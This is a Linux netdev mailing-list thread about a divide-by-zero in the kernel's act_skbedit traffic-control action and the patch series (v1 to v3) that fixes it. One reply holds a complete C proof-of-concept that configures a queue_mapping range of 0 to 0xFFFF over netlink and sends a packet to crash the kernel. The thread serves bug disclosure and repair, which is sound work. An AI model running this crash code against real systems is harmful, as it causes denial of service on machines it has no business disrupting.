* [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()
@ 2026-02-11 18:48 Ruitong Liu
2026-02-11 19:07 ` Eric Dumazet
` (2 more replies)
0 siblings, 3 replies; 9+ messages in thread
From: Ruitong Liu @ 2026-02-11 18:48 UTC (permalink / raw)
To: netdev
Cc: jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni, horms,
linux-kernel, Ruitong Liu, stable, Shuyuan Liu
mapping_mod is computed as:
mapping_mod = queue_mapping_max - queue_mapping + 1;
mapping_mod is stored as u16, so the calculation can overflow when
queue_mapping=0 and queue_mapping_max=0xffff. In this case the value
wraps to 0, leading to a divide-by-zero in tcf_skbedit_hash():
queue_mapping += skb_get_hash(skb) % params->mapping_mod;
Fix it by using a wider type for mapping_mod and performing the
calculation in u32, preventing overflow to zero.
Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue")
Cc: stable@vger.kernel.org # 6.12+
Reported-by: Ruitong Liu <cnitlrt@gmail.com>
Reported-by: Shuyuan Liu <L0x1c3r@gmail.com>
Signed-off-by: Ruitong Liu <cnitlrt@gmail.com>
---
include/net/tc_act/tc_skbedit.h | 2 +-
net/sched/act_skbedit.c | 10 +++++-----
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/include/net/tc_act/tc_skbedit.h b/include/net/tc_act/tc_skbedit.h
index 31b2cd0bebb5..1353bcb15ac7 100644
--- a/include/net/tc_act/tc_skbedit.h
+++ b/include/net/tc_act/tc_skbedit.h
@@ -18,7 +18,7 @@ struct tcf_skbedit_params {
u32 mark;
u32 mask;
u16 queue_mapping;
- u16 mapping_mod;
+ u32 mapping_mod;
u16 ptype;
struct rcu_head rcu;
};
diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c
index 8c1d1554f657..52f6ea6436b9 100644
--- a/net/sched/act_skbedit.c
+++ b/net/sched/act_skbedit.c
@@ -26,7 +26,7 @@ static struct tc_action_ops act_skbedit_ops;
static u16 tcf_skbedit_hash(struct tcf_skbedit_params *params,
struct sk_buff *skb)
{
- u16 queue_mapping = params->queue_mapping;
+ u32 queue_mapping = params->queue_mapping;
if (params->flags & SKBEDIT_F_TXQ_SKBHASH) {
u32 hash = skb_get_hash(skb);
@@ -34,7 +34,7 @@ static u16 tcf_skbedit_hash(struct tcf_skbedit_params *params,
queue_mapping += hash % params->mapping_mod;
}
- return netdev_cap_txqueue(skb->dev, queue_mapping);
+ return netdev_cap_txqueue(skb->dev, (u16)queue_mapping);
}
TC_INDIRECT_SCOPE int tcf_skbedit_act(struct sk_buff *skb,
@@ -126,7 +126,7 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
struct tcf_skbedit *d;
u32 flags = 0, *priority = NULL, *mark = NULL, *mask = NULL;
u16 *queue_mapping = NULL, *ptype = NULL;
- u16 mapping_mod = 1;
+ u32 mapping_mod = 1;
bool exists = false;
int ret = 0, err;
u32 index;
@@ -193,7 +193,7 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla,
return -EINVAL;
}
- mapping_mod = *queue_mapping_max - *queue_mapping + 1;
+ mapping_mod = (u32)(*queue_mapping_max) - (u32)(*queue_mapping) + 1;
flags |= SKBEDIT_F_TXQ_SKBHASH;
}
if (*pure_flags & SKBEDIT_F_INHERITDSFIELD)
@@ -319,7 +319,7 @@ static int tcf_skbedit_dump(struct sk_buff *skb, struct tc_action *a,
pure_flags |= SKBEDIT_F_INHERITDSFIELD;
if (params->flags & SKBEDIT_F_TXQ_SKBHASH) {
if (nla_put_u16(skb, TCA_SKBEDIT_QUEUE_MAPPING_MAX,
- params->queue_mapping + params->mapping_mod - 1))
+ (u16)(params->queue_mapping + params->mapping_mod - 1)))
goto nla_put_failure;
pure_flags |= SKBEDIT_F_TXQ_SKBHASH;
--
2.34.1
^ permalink raw reply related [flat|nested] 9+ messages in thread* Re: [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() 2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu @ 2026-02-11 19:07 ` Eric Dumazet 2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu 2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu 2 siblings, 0 replies; 9+ messages in thread From: Eric Dumazet @ 2026-02-11 19:07 UTC (permalink / raw) To: Ruitong Liu Cc: netdev, jhs, xiyou.wangcong, jiri, davem, kuba, pabeni, horms, linux-kernel, stable, Shuyuan Liu On Wed, Feb 11, 2026 at 7:48 PM Ruitong Liu <cnitlrt@gmail.com> wrote: > > mapping_mod is computed as: > > mapping_mod = queue_mapping_max - queue_mapping + 1; > > mapping_mod is stored as u16, so the calculation can overflow when > queue_mapping=0 and queue_mapping_max=0xffff. In this case the value > wraps to 0, leading to a divide-by-zero in tcf_skbedit_hash(): > > queue_mapping += skb_get_hash(skb) % params->mapping_mod; > > Fix it by using a wider type for mapping_mod and performing the > calculation in u32, preventing overflow to zero. > > Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue") > Cc: stable@vger.kernel.org # 6.12+ > Reported-by: Ruitong Liu <cnitlrt@gmail.com> > Reported-by: Shuyuan Liu <L0x1c3r@gmail.com> > Signed-off-by: Ruitong Liu <cnitlrt@gmail.com> > --- I do not think we want to support very large mapping_mod values, this makes no sense. Please reject wrong configuration instead. diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c index 8c1d1554f657..0ab83dc776d1 100644 --- a/net/sched/act_skbedit.c +++ b/net/sched/act_skbedit.c @@ -126,7 +126,7 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla, struct tcf_skbedit *d; u32 flags = 0, *priority = NULL, *mark = NULL, *mask = NULL; u16 *queue_mapping = NULL, *ptype = NULL; - u16 mapping_mod = 1; + u32 mapping_mod = 1; bool exists = false; int ret = 0, err; u32 index; @@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla, } mapping_mod = *queue_mapping_max - *queue_mapping + 1; + if (mapping_mod > 0xFFFF) { + NL_SET_ERR_MSG_MOD(extack, "The range of queue_mapping is invalid."); + return -EINVAL; + } flags |= SKBEDIT_F_TXQ_SKBHASH; } if (*pure_flags & SKBEDIT_F_INHERITDSFIELD) ^ permalink raw reply related [flat|nested] 9+ messages in thread
* [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() 2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu 2026-02-11 19:07 ` Eric Dumazet @ 2026-02-11 19:43 ` Ruitong Liu 2026-02-13 2:08 ` Jakub Kicinski 2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu 2 siblings, 1 reply; 9+ messages in thread From: Ruitong Liu @ 2026-02-11 19:43 UTC (permalink / raw) To: netdev Cc: jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni, horms, linux-kernel, Ruitong Liu, stable, Shuyuan Liu Commit 38a6f0865796 ("net: sched: support hash selecting tx queue") added SKBEDIT_F_TXQ_SKBHASH support. mapping_mod is computed as: mapping_mod = queue_mapping_max - queue_mapping + 1; mapping_mod is stored as u16, so the calculation can overflow when the requested range covers 65536 queues (e.g. queue_mapping=0 and queue_mapping_max=0xffff). In that case mapping_mod wraps to 0 and tcf_skbedit_hash() triggers a divide-by-zero: queue_mapping += skb_get_hash(skb) % params->mapping_mod; Reject such invalid configuration to prevent mapping_mod from becoming 0 and avoid the crash. Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue") Cc: stable@vger.kernel.org # 6.12+ Reported-by: Ruitong Liu <cnitlrt@gmail.com> Reported-by: Shuyuan Liu <L0x1c3r@gmail.com> Signed-off-by: Ruitong Liu <cnitlrt@gmail.com> --- net/sched/act_skbedit.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c index 8c1d1554f657..b6f5c21651fc 100644 --- a/net/sched/act_skbedit.c +++ b/net/sched/act_skbedit.c @@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla, } mapping_mod = *queue_mapping_max - *queue_mapping + 1; + if (!mapping_mod) { + NL_SET_ERR_MSG_MOD(extack, "Invalid queue_mapping range: range too large"); + return -EINVAL; + } flags |= SKBEDIT_F_TXQ_SKBHASH; } if (*pure_flags & SKBEDIT_F_INHERITDSFIELD) -- 2.34.1 ^ permalink raw reply related [flat|nested] 9+ messages in thread
* Re: [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() 2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu @ 2026-02-13 2:08 ` Jakub Kicinski 2026-02-13 3:29 ` RUITONG LIU 0 siblings, 1 reply; 9+ messages in thread From: Jakub Kicinski @ 2026-02-13 2:08 UTC (permalink / raw) To: Ruitong Liu Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms, linux-kernel, stable, Shuyuan Liu On Thu, 12 Feb 2026 03:43:25 +0800 Ruitong Liu wrote: > Commit 38a6f0865796 ("net: sched: support hash selecting tx queue") > added SKBEDIT_F_TXQ_SKBHASH support. mapping_mod is computed as: > > mapping_mod = queue_mapping_max - queue_mapping + 1; > > mapping_mod is stored as u16, so the calculation can overflow when the > requested range covers 65536 queues (e.g. queue_mapping=0 and > queue_mapping_max=0xffff). In that case mapping_mod wraps to 0 and > tcf_skbedit_hash() triggers a divide-by-zero: > > queue_mapping += skb_get_hash(skb) % params->mapping_mod; > > Reject such invalid configuration to prevent mapping_mod from becoming > 0 and avoid the crash. How did you find this bug? Do you have a repro to trigger the issue you're describing? > @@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla, > } > > mapping_mod = *queue_mapping_max - *queue_mapping + 1; > + if (!mapping_mod) { > + NL_SET_ERR_MSG_MOD(extack, "Invalid queue_mapping range: range too large"); > + return -EINVAL; > + } > flags |= SKBEDIT_F_TXQ_SKBHASH; > } > if (*pure_flags & SKBEDIT_F_INHERITDSFIELD) There is this check right above the lines you're touching: if (*queue_mapping_max < *queue_mapping) { NL_SET_ERR_MSG_MOD(extack, "The range of queue_mapping is invalid, max < min."); return -EINVAL; } I don't see how mapping_mod can be 0 here. -- pw-bot: reject ^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() 2026-02-13 2:08 ` Jakub Kicinski @ 2026-02-13 3:29 ` RUITONG LIU 2026-02-13 16:24 ` Jakub Kicinski 0 siblings, 1 reply; 9+ messages in thread From: RUITONG LIU @ 2026-02-13 3:29 UTC (permalink / raw) To: Jakub Kicinski Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms, linux-kernel, stable, Shuyuan Liu With queue_mapping = 0 and queue_mapping_max = 65535, the existing validation passes because it only checks queue_mapping_max < queue_mapping, which is false. The code then computes the inclusive range size: mapping_mod = queue_mapping_max - queue_mapping + 1 = 65536. However, mapping_mod is stored in a u16, so 65536 wraps to 0. This 0 value is later used as the divisor in a modulo operation (hash % mapping_mod), causing a divide-by-zero. This is the poc, and we use agent found this bug ```c #define _GNU_SOURCE #include <arpa/inet.h> #include <errno.h> #include <linux/if_ether.h> #include <linux/netlink.h> #include <linux/pkt_cls.h> #include <linux/pkt_sched.h> #include <linux/rtnetlink.h> #include <linux/tc_act/tc_skbedit.h> #include <net/if.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #ifndef SKBEDIT_F_TXQ_SKBHASH #define SKBEDIT_F_TXQ_SKBHASH 0x40 #endif #ifndef TCA_SKBEDIT_QUEUE_MAPPING_MAX #define TCA_SKBEDIT_QUEUE_MAPPING_MAX 10 #endif #define BUF_SIZE 8192 #define NLMSG_TAIL(nmsg) \ ((struct nlattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) static int addattr_l(struct nlmsghdr *n, size_t maxlen, int type, const void *data, size_t alen) { size_t len = NLA_ALIGN(alen) + NLA_HDRLEN; size_t newlen = NLMSG_ALIGN(n->nlmsg_len) + len; if (newlen > maxlen) return -1; struct nlattr *na = NLMSG_TAIL(n); na->nla_type = type; na->nla_len = NLA_HDRLEN + alen; if (alen && data) memcpy((char *)na + NLA_HDRLEN, data, alen); n->nlmsg_len = newlen; return 0; } static struct nlattr *addattr_nest(struct nlmsghdr *n, size_t maxlen, int type) { struct nlattr *start = NLMSG_TAIL(n); if (addattr_l(n, maxlen, type | NLA_F_NESTED, NULL, 0) < 0) return NULL; return start; } static int addattr_nest_end(struct nlmsghdr *n, struct nlattr *start) { start->nla_len = (char *)NLMSG_TAIL(n) - (char *)start; return n->nlmsg_len; } static int nl_talk(int fd, struct nlmsghdr *nlh) { struct sockaddr_nl nladdr = {0}; nladdr.nl_family = AF_NETLINK; struct iovec iov = {0}; iov.iov_base = nlh; iov.iov_len = nlh->nlmsg_len; struct msghdr msg = {0}; msg.msg_name = &nladdr; msg.msg_namelen = sizeof(nladdr); msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(fd, &msg, 0) < 0) return -errno; char buf[BUF_SIZE]; while (1) { int len = recv(fd, buf, sizeof(buf), 0); if (len < 0) { if (errno == EINTR) continue; return -errno; } struct nlmsghdr *h; for (h = (struct nlmsghdr *)buf; NLMSG_OK(h, len); h = NLMSG_NEXT(h, len)) { if (h->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h); if (err->error == 0) return 0; return err->error; } } } } static int add_clsact_qdisc(int fd, int ifindex, int *seq) { struct { struct nlmsghdr n; struct tcmsg t; char buf[256]; } req = {0}; req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); req.n.nlmsg_type = RTM_NEWQDISC; req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_REPLACE; req.n.nlmsg_seq = ++(*seq); req.n.nlmsg_pid = getpid(); req.t.tcm_family = AF_UNSPEC; req.t.tcm_ifindex = ifindex; req.t.tcm_parent = TC_H_CLSACT; req.t.tcm_handle = TC_H_MAKE(TC_H_INGRESS, 0); const char kind[] = "clsact"; if (addattr_l(&req.n, sizeof(req), TCA_KIND, kind, sizeof(kind)) < 0) return -1; return nl_talk(fd, &req.n); } static int add_u32_filter_skbedit(int fd, int ifindex, int *seq) { struct { struct nlmsghdr n; struct tcmsg t; char buf[1024]; } req = {0}; req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); req.n.nlmsg_type = RTM_NEWTFILTER; req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; req.n.nlmsg_seq = ++(*seq); req.n.nlmsg_pid = getpid(); req.t.tcm_family = AF_UNSPEC; req.t.tcm_ifindex = ifindex; req.t.tcm_parent = TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS); req.t.tcm_handle = 0; req.t.tcm_info = TC_H_MAKE(1 << 16, htons(ETH_P_ALL)); const char kind[] = "u32"; if (addattr_l(&req.n, sizeof(req), TCA_KIND, kind, sizeof(kind)) < 0) return -1; struct nlattr *opts = addattr_nest(&req.n, sizeof(req), TCA_OPTIONS); if (!opts) return -1; /* u32 selector: one key that always matches */ char selbuf[sizeof(struct tc_u32_sel) + sizeof(struct tc_u32_key)]; memset(selbuf, 0, sizeof(selbuf)); struct tc_u32_sel *sel = (struct tc_u32_sel *)selbuf; struct tc_u32_key *key = (struct tc_u32_key *)(sel->keys); sel->flags = TC_U32_TERMINAL; sel->offshift = 0; sel->nkeys = 1; sel->offmask = 0; sel->off = 0; sel->offoff = 0; sel->hoff = 0; sel->hmask = htonl(0); key->mask = 0; key->val = 0; key->off = 0; key->offmask = 0; if (addattr_l(&req.n, sizeof(req), TCA_U32_SEL, selbuf, sizeof(selbuf)) < 0) return -1; struct nlattr *act = addattr_nest(&req.n, sizeof(req), TCA_U32_ACT); if (!act) return -1; struct nlattr *act1 = addattr_nest(&req.n, sizeof(req), 1); if (!act1) return -1; const char act_kind[] = "skbedit"; if (addattr_l(&req.n, sizeof(req), TCA_ACT_KIND, act_kind, sizeof(act_kind)) < 0) return -1; struct nlattr *act_opts = addattr_nest(&req.n, sizeof(req), TCA_ACT_OPTIONS); if (!act_opts) return -1; struct tc_skbedit parm = {0}; parm.action = TC_ACT_OK; parm.index = 0; if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_PARMS, &parm, sizeof(parm)) < 0) return -1; uint16_t qmap = 0; uint16_t qmap_max = 0xFFFFu; uint64_t flags = SKBEDIT_F_TXQ_SKBHASH; if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_QUEUE_MAPPING, &qmap, sizeof(qmap)) < 0) return -1; if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_QUEUE_MAPPING_MAX, &qmap_max, sizeof(qmap_max)) < 0) return -1; if (addattr_l(&req.n, sizeof(req), TCA_SKBEDIT_FLAGS, &flags, sizeof(flags)) < 0) return -1; addattr_nest_end(&req.n, act_opts); addattr_nest_end(&req.n, act1); addattr_nest_end(&req.n, act); addattr_nest_end(&req.n, opts); return nl_talk(fd, &req.n); } static int trigger_packet(const char *ifname) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) return -errno; if (ifname) { if (setsockopt(s, SOL_SOCKET, SO_BINDTODEVICE, ifname, strlen(ifname) + 1) < 0) { int err = -errno; close(s); return err; } } struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_port = htons(12345); addr.sin_addr.s_addr = inet_addr("10.0.2.2"); char buf[64] = "trigger"; int ret = sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&addr, sizeof(addr)); if (ret < 0) { int err = -errno; close(s); return err; } close(s); return 0; } int main(void) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) { perror("socket(NETLINK_ROUTE)"); return 1; } struct sockaddr_nl local = {0}; local.nl_family = AF_NETLINK; local.nl_pid = getpid(); if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) { perror("bind"); return 1; } const char *ifname = "eth0"; int ifindex = if_nametoindex(ifname); if (!ifindex) { ifname = "lo"; ifindex = if_nametoindex(ifname); if (!ifindex) { perror("if_nametoindex(eth0/lo)"); return 1; } } int seq = 0; int err = add_clsact_qdisc(fd, ifindex, &seq); if (err && err != -EEXIST) { fprintf(stderr, "add clsact qdisc failed: %s (%d)\n", strerror(-err), err); return 1; } err = add_u32_filter_skbedit(fd, ifindex, &seq); if (err) { fprintf(stderr, "add u32 skbedit filter failed: %s (%d)\n", strerror(-err), err); return 1; } err = trigger_packet(ifname); if (err) { fprintf(stderr, "trigger_packet failed: %s (%d)\n", strerror(-err), err); return 1; } printf("skbedit filter installed and packet sent. Check kernel log for crash/KASAN.\n"); return 0; } ``` Jakub Kicinski <kuba@kernel.org> 于2026年2月12日周四 19:08写道: > > On Thu, 12 Feb 2026 03:43:25 +0800 Ruitong Liu wrote: > > Commit 38a6f0865796 ("net: sched: support hash selecting tx queue") > > added SKBEDIT_F_TXQ_SKBHASH support. mapping_mod is computed as: > > > > mapping_mod = queue_mapping_max - queue_mapping + 1; > > > > mapping_mod is stored as u16, so the calculation can overflow when the > > requested range covers 65536 queues (e.g. queue_mapping=0 and > > queue_mapping_max=0xffff). In that case mapping_mod wraps to 0 and > > tcf_skbedit_hash() triggers a divide-by-zero: > > > > queue_mapping += skb_get_hash(skb) % params->mapping_mod; > > > > Reject such invalid configuration to prevent mapping_mod from becoming > > 0 and avoid the crash. > > How did you find this bug? Do you have a repro to trigger the issue > you're describing? > > > @@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla, > > } > > > > mapping_mod = *queue_mapping_max - *queue_mapping + 1; > > + if (!mapping_mod) { > > + NL_SET_ERR_MSG_MOD(extack, "Invalid queue_mapping range: range too large"); > > + return -EINVAL; > > + } > > flags |= SKBEDIT_F_TXQ_SKBHASH; > > } > > if (*pure_flags & SKBEDIT_F_INHERITDSFIELD) > > > There is this check right above the lines you're touching: > > if (*queue_mapping_max < *queue_mapping) { > NL_SET_ERR_MSG_MOD(extack, "The range of queue_mapping is invalid, max < min."); > return -EINVAL; > } > > I don't see how mapping_mod can be 0 here. > -- > pw-bot: reject ^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH v2] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() 2026-02-13 3:29 ` RUITONG LIU @ 2026-02-13 16:24 ` Jakub Kicinski 0 siblings, 0 replies; 9+ messages in thread From: Jakub Kicinski @ 2026-02-13 16:24 UTC (permalink / raw) To: RUITONG LIU Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms, linux-kernel, stable, Shuyuan Liu On Thu, 12 Feb 2026 20:29:20 -0700 RUITONG LIU wrote: > With queue_mapping = 0 and queue_mapping_max = 65535, the existing > validation passes because it only checks queue_mapping_max < > queue_mapping, which is false. The code then computes the inclusive > range size: > mapping_mod = queue_mapping_max - queue_mapping + 1 = 65536. > However, mapping_mod is stored in a u16, so 65536 wraps to 0. This 0 > value is later used as the divisor in a modulo operation (hash % > mapping_mod), causing a divide-by-zero. I see, thanks, could you please use the version of the patch that Eric posted? It's much more intuitive than checking for 0. Maybe use U16_MAX instead of 0xffff, too ^ permalink raw reply [flat|nested] 9+ messages in thread
* [PATCH v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() 2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu 2026-02-11 19:07 ` Eric Dumazet 2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu @ 2026-02-13 17:59 ` Ruitong Liu 2026-02-18 1:29 ` Jakub Kicinski 2026-02-18 1:40 ` patchwork-bot+netdevbpf 2 siblings, 2 replies; 9+ messages in thread From: Ruitong Liu @ 2026-02-13 17:59 UTC (permalink / raw) To: netdev Cc: jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni, horms, linux-kernel, Ruitong Liu, stable, Shuyuan Liu Commit 38a6f0865796 ("net: sched: support hash selecting tx queue") added SKBEDIT_F_TXQ_SKBHASH support. The inclusive range size is computed as: mapping_mod = queue_mapping_max - queue_mapping + 1; The range size can be 65536 when the requested range covers all possible u16 queue IDs (e.g. queue_mapping=0 and queue_mapping_max=U16_MAX). That value cannot be represented in a u16 and previously wrapped to 0, so tcf_skbedit_hash() could trigger a divide-by-zero: queue_mapping += skb_get_hash(skb) % params->mapping_mod; Compute mapping_mod in a wider type and reject ranges larger than U16_MAX to prevent params->mapping_mod from becoming 0 and avoid the crash. Fixes: 38a6f0865796 ("net: sched: support hash selecting tx queue") Cc: stable@vger.kernel.org # 6.12+ Reported-by: Ruitong Liu <cnitlrt@gmail.com> Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/ Reported-by: Shuyuan Liu <L0x1c3r@gmail.com> Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/ Signed-off-by: Ruitong Liu <cnitlrt@gmail.com> --- net/sched/act_skbedit.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/net/sched/act_skbedit.c b/net/sched/act_skbedit.c index 8c1d1554f657..5450c1293eb5 100644 --- a/net/sched/act_skbedit.c +++ b/net/sched/act_skbedit.c @@ -126,7 +126,7 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla, struct tcf_skbedit *d; u32 flags = 0, *priority = NULL, *mark = NULL, *mask = NULL; u16 *queue_mapping = NULL, *ptype = NULL; - u16 mapping_mod = 1; + u32 mapping_mod = 1; bool exists = false; int ret = 0, err; u32 index; @@ -194,6 +194,10 @@ static int tcf_skbedit_init(struct net *net, struct nlattr *nla, } mapping_mod = *queue_mapping_max - *queue_mapping + 1; + if (mapping_mod > U16_MAX) { + NL_SET_ERR_MSG_MOD(extack, "The range of queue_mapping is invalid."); + return -EINVAL; + } flags |= SKBEDIT_F_TXQ_SKBHASH; } if (*pure_flags & SKBEDIT_F_INHERITDSFIELD) -- 2.34.1 ^ permalink raw reply related [flat|nested] 9+ messages in thread
* Re: [PATCH v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() 2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu @ 2026-02-18 1:29 ` Jakub Kicinski 2026-02-18 1:40 ` patchwork-bot+netdevbpf 1 sibling, 0 replies; 9+ messages in thread From: Jakub Kicinski @ 2026-02-18 1:29 UTC (permalink / raw) To: Ruitong Liu Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, pabeni, horms, linux-kernel, stable, Shuyuan Liu On Sat, 14 Feb 2026 01:59:48 +0800 Ruitong Liu wrote: > Reported-by: Ruitong Liu <cnitlrt@gmail.com> > Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/ > Reported-by: Shuyuan Liu <L0x1c3r@gmail.com> > Closes: https://lore.kernel.org/all/20260211184848.731894-1-cnitlrt@gmail.com/ Please don't abuse reported-by tags. These tags are only used when the reporter is not the same as the author. If you're sending a fix without a reported-by tag it's implied that you found the issue yourself. ^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() 2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu 2026-02-18 1:29 ` Jakub Kicinski @ 2026-02-18 1:40 ` patchwork-bot+netdevbpf 1 sibling, 0 replies; 9+ messages in thread From: patchwork-bot+netdevbpf @ 2026-02-18 1:40 UTC (permalink / raw) To: Ruitong Liu Cc: netdev, jhs, xiyou.wangcong, jiri, davem, edumazet, kuba, pabeni, horms, linux-kernel, stable, L0x1c3r Hello: This patch was applied to netdev/net.git (main) by Jakub Kicinski <kuba@kernel.org>: On Sat, 14 Feb 2026 01:59:48 +0800 you wrote: > Commit 38a6f0865796 ("net: sched: support hash selecting tx queue") > added SKBEDIT_F_TXQ_SKBHASH support. The inclusive range size is > computed as: > > mapping_mod = queue_mapping_max - queue_mapping + 1; > > The range size can be 65536 when the requested range covers all possible > u16 queue IDs (e.g. queue_mapping=0 and queue_mapping_max=U16_MAX). > That value cannot be represented in a u16 and previously wrapped to 0, > so tcf_skbedit_hash() could trigger a divide-by-zero: > > [...] Here is the summary with links: - [v3] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() https://git.kernel.org/netdev/net/c/be054cc66f73 You are awesome, thank you! -- Deet-doot-dot, I am a bot. https://korg.docs.kernel.org/patchwork/pwbot.html ^ permalink raw reply [flat|nested] 9+ messages in thread
end of thread, other threads:[~2026-02-18 1:40 UTC | newest] Thread overview: 9+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-02-11 18:48 [PATCH] net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Ruitong Liu 2026-02-11 19:07 ` Eric Dumazet 2026-02-11 19:43 ` [PATCH v2] " Ruitong Liu 2026-02-13 2:08 ` Jakub Kicinski 2026-02-13 3:29 ` RUITONG LIU 2026-02-13 16:24 ` Jakub Kicinski 2026-02-13 17:59 ` [PATCH v3] " Ruitong Liu 2026-02-18 1:29 ` Jakub Kicinski 2026-02-18 1:40 ` patchwork-bot+netdevbpf
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox